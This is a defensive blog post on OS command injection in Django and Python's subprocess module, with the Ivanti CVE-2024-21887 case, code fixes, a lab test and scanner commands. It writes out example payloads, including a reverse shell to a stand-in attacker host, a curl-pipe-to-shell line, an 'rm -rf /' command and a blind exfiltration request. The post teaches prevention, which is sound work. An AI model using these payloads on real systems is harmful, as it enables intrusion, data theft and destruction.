OS Command Injection: subprocess, os.system and the Dangers of Shell=True
Django Security Series β Post 4 | Series I: Injection Attacks
OWASP A05:2025 β Injection | Reading time: ~18 min
π§ͺ Run it yourself. This attack ships as a runnable lab in django-security-lab: an "inspect this upload" endpoint that runs
wc -con a filename. Theshell=Trueview letsname=sample.txt; cat ../flag.txtrun a second command and read a flag it should never reach; theshell=Falseview passes the same string towcas one literal (missing) filename. It is tier 3 (real command execution), so it runs non-root with no network egress. Reproduce both from the command line withcurl.
Post 1 covered SQL Injection, Post 2 covered XSS, Post 3 covered SSTI. Each one breaks the boundary between data and code at a different interpreter β the database, the browser DOM, the template engine. Post 4 closes the core RCE triad by removing the last layer of indirection: OS Command Injection, where user input reaches the operating system shell directly with nothing in between.
This post came out of a concrete question I had while running PetiΓ§Γ£o Brasil, which generates a PDF certificate for every petition signature using an external tool. Any feature that reaches for an external tool means there is a subprocess call somewhere β and any subprocess call built from user input is a potential injection point. Chasing that question down taught me something about why the safe pattern works at the OS level that I hadn't fully understood before.
This post covers how command injection works, why shell=True is the switch that turns a filename into a command line, and how to take the shell out of the path.
The Attack: What It Is and How It Works
Command injection occurs when user-controlled data is included in a string that is passed to an operating system shell, causing the shell to interpret part of that input as a command rather than as data. The root cause is identical to SQL Injection β confusion between data and code at an interpreter boundary β but the interpreter is now the OS shell (/bin/sh on Linux, cmd.exe on Windows) instead of a database engine. And whereas SQL injection is usually limited to what the database account can do (reaching the operating system from SQL takes a feature like PostgreSQL's COPY ... PROGRAM and a role privileged enough to use it), the shell can touch everything the web process can: the filesystem, the network, environment variables holding secrets, and any other binary on the host.
The mechanism hinges on shell metacharacters β characters that a shell treats as control syntax rather than literal text. When user input is concatenated into a command string and handed to a shell, any metacharacter in that input is interpreted by the shell:
| Metacharacter | What the shell does with it | Example |
|---|---|---|
; |
Command separator β run the next command unconditionally | photo.jpg; rm -rf / |
&& |
Run the next command only if the first succeeds | photo.jpg && curl evil.sh \| sh |
\|\| |
Run the next command only if the first fails | nope \|\| cat /etc/passwd |
\| |
Pipe β send output of one command into the next | photo.jpg \| nc attacker 4444 |
$(...) |
Command substitution β run the inner command, insert its output | $(whoami) |
`...` |
Backtick command substitution (older syntax) | `id` |
> / >> |
Redirect output to a file (overwrite / append) | x > /var/www/shell.php |
& |
Run the command in the background | sleep 30 & |
newline (\n) |
Acts as a command separator | photo.jpg\nrm -rf / |
On Windows the operators differ slightly (&, &&, ||, |, and %VAR% expansion) but the principle is identical: the shell parses the string before any program runs.
Before seeing the exploit, it helps to know which Python calls hand data to a shell, because that is where the vulnerability lives. Python offers several ways to run an external program, and the security difference between them comes down to a single question: is a shell involved, and who splits the command into separate arguments?
os.system(cmd) takes one string and hands it to the system shell (/bin/sh -c "<cmd>" on Linux, cmd.exe /c on Windows). It is the shell β not Python β that decides where each argument begins and ends, and that is what lets an attacker's ; or | be read as syntax rather than as text. os.popen(cmd) does the same thing and additionally hands back a file-like object so you can read the command's output. Neither function has any mode that skips the shell β the shell is always in the loop β so both should be treated as legacy.
subprocess is safer because it can run a program in two very different ways:
| How you call it | Shell involved? | Who parses the arguments |
|---|---|---|
subprocess.run("convert " + f, shell=True) |
Yes β /bin/sh -c ... |
The shell β metacharacters are live |
subprocess.run(["convert", f]) |
No β shell=False (the default) |
Python passes the list straight to the OS |
When you pass a string with shell=True, subprocess behaves like os.system: the shell parses the string and every metacharacter in f is dangerous. When you pass a list of arguments with the default shell=False, there is no shell at all. On POSIX systems Python calls the operating system's exec family directly, and each list element becomes one argument, verbatim; on Windows it calls CreateProcess() with the list joined into one command line, which the target program splits again. A ; inside f is then just a character in a filename, never a command separator. One exception: on Windows, a .bat or .cmd file is run through cmd.exe whatever you pass, so the list form does not protect it.
That second mode is the entire reason the secure path always uses subprocess with an argument list β and why os.system and os.popen, which have no such mode, should be considered legacy. The exploit below uses the first, dangerous mode, in an image-conversion view that runs subprocess.run(f"convert {filename} /var/thumbs/output.jpg", shell=True) with filename taken from the query string.
A request whose filename is photo.jpg; id # builds the string convert photo.jpg; id # /var/thumbs/output.jpg. Because the payload lands in the middle of the template, the attacker ends it with #, which starts a shell comment that discards the fixed /var/thumbs/output.jpg the view appends. The shell runs convert photo.jpg, then id; if that output is reflected anywhere in the response or logs, the attacker reads uid=33(www-data) gid=33(www-data) and has confirmed code execution under the web process user. Without the trailing #, /var/thumbs/output.jpg would instead become an argument to id β which would error rather than print the uid, neutralising the probe.
Walking the same endpoint through a full exploit shows how one query parameter escalates to a foothold on the host:
- A Django view receives a
filenameparameter from the user β for example, the name of an uploaded image to be converted. - The view builds the command with that f-string and runs it through a shell.
- The attacker submits
photo.jpg; cat /etc/passwd > /tmp/leak.txt #as the filename β the trailing#will comment out whatever the template appends after it. - The view interpolates that into the middle of the template, so the shell receives
convert photo.jpg; cat /etc/passwd > /tmp/leak.txt # /var/thumbs/output.jpg. It parses the;as a separator β runningconvert photo.jpg, then dumping the password file to a world-readable location β while#discards the trailing/var/thumbs/output.jpg. - The attacker retrieves
/tmp/leak.txtthrough another endpoint β or, more commonly, skips the file entirely and substitutes a reverse-shell payload that connects back to a machine they control.
The same view is exploitable for full interactive control, not just file disclosure. A payload such as photo.jpg; bash -c 'bash -i >& /dev/tcp/attacker.example/4444 0>&1' # assembles a reverse shell β instead of the attacker connecting in to the server, the server dials out to the attacker, which is what lets it slip past inbound firewall rules that block incoming connections. Each piece does one job:
photo.jpg;β the benign filename the view expects, then;closes the intendedconvertcommand and starts a new one.bash -c 'β¦'β hands the rest of the line to Bash explicitly.shell=Trueruns/bin/sh, which on Debian and Ubuntu β and thepython:*-slimimages built on Debian β is dash; dash reads>&only as a copy between numbered file descriptors and knows nothing of/dev/tcp, so the barebash -i >& /dev/tcp/...form fails to parse there.bash -iβ launches an interactive Bash shell (interactive mode keeps it reading commands and printing prompts, as a terminal session would)./dev/tcp/attacker.example/4444β not a real file but a Bash built-in pseudo-device: referencing this path makes Bash open a TCP connection to the attacker's host on port4444, where the attacker is already listening (for example withnc -lvnp 4444).>&β redirects the shell's standard output and standard error into that TCP connection, so everything the shell prints travels to the attacker.0>&1β redirects standard input (file descriptor0) to the same connection, so whatever the attacker types is fed back into the shell as commands.#β starts a shell comment that discards the fixed/var/thumbs/output.jpgthe view appends after the injection point, so it cannot interfere with the reverse-shell command.
Wired together, the shell's input and output are both bound to the attacker's socket, giving them a live interactive prompt on the server. At that point the web application is no longer the target, the host is.
The same metacharacters reach the shell by other paths. When the command's output never comes back, the injection goes blind: the payload makes the server call a host the attacker watches (curl https://attacker.example/$(whoami)), or simply runs sleep 5, and a response five seconds late confirms it ran. A value an attacker stored earlier, such as a username, fires later when trusted code builds a command from it (second-order injection). Without any shell, an argument that starts with - is still read as an option by the program it reaches (argument injection). And the shell string can sit inside a dependency rather than your code: in ImageTragick (CVE-2016-3714), ImageMagick built shell commands from values inside an uploaded image, so applications that only asked it for a thumbnail ran the attacker's commands.
Real-World Incidents
Ivanti Connect Secure β CVE-2024-21887 (2024)
In the second week of December 2023, Volexity saw suspicious lateral movement on a customer's network and traced it back to the customer's internet-facing Ivanti Connect Secure VPN appliance, whose logs had been wiped. A memory image of the appliance revealed two zero-days chained by the attacker, tracked by Volexity as UTA0178 and believed to be a Chinese nation-state-level group: an authentication bypass (CVE-2023-46805) and a command injection (CVE-2024-21887). Volexity found suspect activity from the device as early as December 3. Rapid7's analysis located the injection in a Flask view written in Python: the REST endpoint /api/v1/license/keys-status/<node_name> concatenated the node_name path segment into a command string and ran it with subprocess.Popen(..., shell=True), so a path ending in ; and a command ran that command on the appliance, and the bypass meant the request needed no login. Rapid7 presents this endpoint as a likely match for CVE-2024-21887 rather than a confirmed one. From there the attacker planted webshells, altered the login page's JavaScript to send typed credentials to an outside domain, and moved through the network with what it collected. On January 19, 2024, CISA issued Emergency Directive 24-01 over "widespread and active exploitation", ordering US federal agencies to apply Ivanti's mitigation and, in a later supplement, to factory-reset and rebuild the affected appliances.
In ATT&CK terms the way in is T1190 (Exploit Public-Facing Application) and what the injection ran is T1059.004 (Command and Scripting Interpreter: Unix Shell). For Django developers the code is the lesson: it is the lab's vulnerable view, a Python web endpoint concatenating a request value into a shell string, shipped inside a security appliance. An argument list with no shell would have handed ; and the command after it to the program as one literal argument, which is what the lab's secure view does with its payload.
Sources: Volexity β Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN (2024); Rapid7 β analysis of CVE-2023-46805 and CVE-2024-21887; CISA β Emergency Directive 24-01
Django's Default Protections
Django provides no automatic protection against command injection. This is the critical mental adjustment after Posts 1β3. The ORM parameterises SQL, the template engine auto-escapes HTML, and DTL refuses to evaluate Python expressions β but nothing in Django parameterises or sanitises a shell command, because shelling out is not a framework concern. The moment your code calls subprocess, os.system, or os.popen, you have stepped outside Django's protective surface and you own the safety of that call entirely.
Python's own subprocess documentation says that with shell=True it is the application's responsibility to quote every metacharacter, but that is advisory β and Django's deployment checklist does not mention subprocess at all, which only reinforces the point: there is no Django setting that blocks it. The Django-level controls that do help are access controls that limit who can reach the views that shell out: @login_required, @permission_required, and @staff_member_required reduce the population of users who can even attempt an injection. They are valuable defence-in-depth β an internal diagnostics tool behind @staff_member_required has a far smaller attack surface than a public endpoint β but they are not a fix. An authenticated user, a compromised account, or an attacker who reaches the view through a separate flaw still injects into an unsanitised command. Access control narrows the door; it does not lock the vulnerability.
The Vulnerable Pattern and the Fix
Pattern 1 β f-string Command with shell=True
The textbook case: a command line built by interpolating user input and run through a shell. The lab's upload inspector runs wc -c on a filename, and the fix moves the filename into an argument list:
name = request.POST.get("name", "")
+ path = os.path.join(str(UPLOAD_DIR), name)
result = subprocess.run(
- f"wc -c {name}",
- shell=True,
- cwd=str(UPLOAD_DIR),
+ ["wc", "-c", path],
+ shell=False,
capture_output=True,
text=True,
)
On the vulnerable view, name=sample.txt; cat ../flag.txt makes /bin/sh run a second command, and the flag comes back in the response. On the secure one there is no shell: the list goes to the operating system as three arguments, wc looks for one path, uploads/sample.txt; cat ../flag.txt, and reports that it does not exist. Both views are in the lab: views_vulnerable.py and views_secure.py. Removing the shell is all the secure view does, though. name=../flag.txt still makes wc count the flag file's bytes, because nothing confines the path β which is what the validation after these patterns is for.
Pattern 2 β String Concatenation with os.system
os.system always uses a shell; there is no safe mode, so the fix replaces the call rather than editing it. For a host to ping, the strongest check is that the value is an IP address at all:
def ping_host(request):
host = request.POST.get('host', '')
- os.system("ping -c 1 " + host) # os.system always invokes /bin/sh
+ try:
+ ipaddress.ip_address(host) # an IP literal cannot start with "-"
+ except ValueError:
+ return HttpResponseBadRequest("Not an IP address")
+ subprocess.run(["ping", "-c", "1", host], timeout=10)
return HttpResponse("Pinged")
Against the old line, host=8.8.8.8; cat /etc/passwd runs the ping, then reads the password file. A network-diagnostics feature like this is common in internal admin tools. The list form alone already stops the ;; the ip_address check also stops a value starting with - from reaching ping as an option. It does not ban every metacharacter: an IPv6 scope ID such as fe80::1%$(id) passes, which is harmless only because no shell reads it.
Three controls apply to both patterns rather than one. First, shell=False stops the shell but not a hostile argument: a filename that starts with - and is read as an option, or a ../ path that escapes the upload directory, as the lab's name=../flag.txt does. Resolve the path with (UPLOAD_DIR / name).resolve(), refuse it unless the result is_relative_to(UPLOAD_DIR.resolve()), allowlist the extension, and put -- before user-supplied operands where the binary supports it; confirming the real file type by content belongs to the file-upload post later in the series. Second, the most robust fix removes the external binary: Pillow instead of ImageMagick, WeasyPrint or ReportLab instead of wkhtmltopdf, the standard library's zipfile and tarfile for archives (validating member paths against zip-slip). Third, give every subprocess call a timeout=, so a binary that hangs on malformed input cannot hold a worker forever; run() kills the child when it expires, though only the immediate child: a binary that forks helpers needs start_new_session=True and a process-group kill to take them down too.
The Analyst's View
Command injection is where a CySA+ analyst's notion of blast radius stops being a metaphor. SQL injection is usually bounded by the database account; XSS by the browser; command injection is bounded by nothing short of the host β an injected ; buys the same privileges the web process holds, over the filesystem, the network, and every secret in the environment. That makes the control taxonomy unusually clear-cut. shell=False with an argument list is the preventive control: it removes the interpreter that turns data into code, so there is no shell left to inject into, though the arguments still need validating, as the patterns showed. Everything else is defence in depth that shrinks the blast radius if the preventive control ever fails β input validation and allow-lists, a least-privilege service account (never root), an outbound-egress deny so a reverse shell has nowhere to dial, a subprocess timeout that caps a sleep-based DoS. The companion lab is built as that stack: the vulnerable view runs as a non-root user in a container with no network egress, so even a successful injection cannot phone home. It can still read whatever the process can and hand it back over HTTP, which is exactly how the lab's flag leaks: containment shrinks a breach, it does not prevent one.
The second analyst lesson is about detection, and Ivanti teaches it. The appliance's own logs had been wiped; what gave the attacker away was lateral movement that network monitoring caught on other machines. Command injection leaves its clearest trace not in the request but in what the host does next: a web worker that spawns sh, bash or curl, or opens a connection outward, is doing something a web worker rarely needs to do. Process-execution monitoring on the host (an EDR, or auditd rules on execve) and egress monitoring are the detective controls for this class, and they work even on a box whose code you cannot read.
Catching It Automatically
Testing Your Defence
One test proves the fix against this payload: send the injection to the secure view and check that the second command's output never comes back. This is the one the lab uses:
PAYLOAD = f"{SAMPLE_NAME}; cat ../flag.txt"
def test_secure_view_does_not_execute_injection(self):
resp = self.client.post("/command-injection/secure/", {"name": PAYLOAD})
self.assertEqual(resp.status_code, 200)
self.assertNotContains(resp, "FLAG{")
setUp writes uploads/sample.txt and the flag file one directory above it. Point the test at /command-injection/vulnerable/ and it fails: the ; starts cat ../flag.txt, and the flag is in the response. It runs real commands, which is why its container runs non-root with no network egress; it also assumes one /bin/sh, which is why the lab is Linux-only. The lab's tests.py adds the other half: the secure view still reports a real file's byte count.
Scanning It
Unlike the Django-specific classes earlier in the series, command injection is a textbook sink the standard tools catch β so there is no custom rule, and the companion lab carries a CI scan-assert like the SQL-injection lab.
bandit -r labs/post_04_command_injection/
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_04_command_injection/views_vulnerable.py
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_04_command_injection/views_secure.py
Bandit walks the Python AST for B-numbered risky constructs; B602 (subprocess β¦ shell=True, HIGH) fires on the vulnerable view and is absent on the secure list-form one. One nuance the lab's CI encodes: Bandit also ships low-severity subprocess notes that fire on safe code β B404 on any import subprocess, B603 on any call without shell=True, B607 on a call whose executable is a bare name like wc β so they light up on the secure view too. They are not shell-injection findings, so the assert matches the specific check (B602, by test_id) rather than a raw count β otherwise the secure view would look "non-silent." Semgrep community (subprocess rules from p/django and p/python) is the clean case: three findings on the vulnerable view (subprocess-injection, dangerous-subprocess-use, subprocess-shell-true), zero on the secure one.
Command injection is also a DAST class β a commix or OWASP ZAP injection scan fires metacharacter payloads at the parameter and confirms a second command ran. The lab's curl walkthrough is that dynamic probe, reproducible from a clone. The captured runs and the full reasoning are in the lab's scans/ directory.
For your own code, bandit -r . β B602 for shell=True, B605 for os.system and os.popen β plus a grep -rn "shell=True" pre-commit backstop catches the common shapes. Neither is a guarantee: asyncio.create_subprocess_shell() passes both, so new process-execution paths still need a reviewer.
The habit this post left me with: if a Python library can do the job, I use the library; if I must call an external program, shell=False with an argument list is the baseline, and shell=True on untrusted input is reason enough to block a deploy.
Post 5 stays in the injection family but moves to the last interpreter in the series: the XML parser. XXE (XML External Entity) attacks abuse a parser left at its unsafe defaults to read local files off the server or reach internal network services, and its sibling, entity expansion, uses a few lines of nested βbillion laughsβ entities to exhaust the host's memory outright. It is the injection Django developers most often underestimate, because parsing XML looks passive.
Further Reading
- django-security-lab β this post's runnable lab (
labs/post_04_command_injection/), the shell=True vs shell=False pair (tier 3) - Python Docs β subprocess: Security Considerations
- Django Docs β Security in Django
- PortSwigger Web Security Academy β OS command injection
- OWASP β Command Injection
- MITRE ATT&CK β T1059 Command and Scripting Interpreter
- Rapid7 β analysis of the Ivanti Connect Secure chain (CVE-2023-46805, CVE-2024-21887), with the vulnerable Python view
- ImageTragick β CVE-2016-3714
- Bandit β B602: subprocess call with shell=True
- OWASP A05:2025 β Injection
- Web Security for Developers: Real Threats, Practical Defense (Malcolm McDonald, No Starch Press) β Chapter 6: Injection Attacks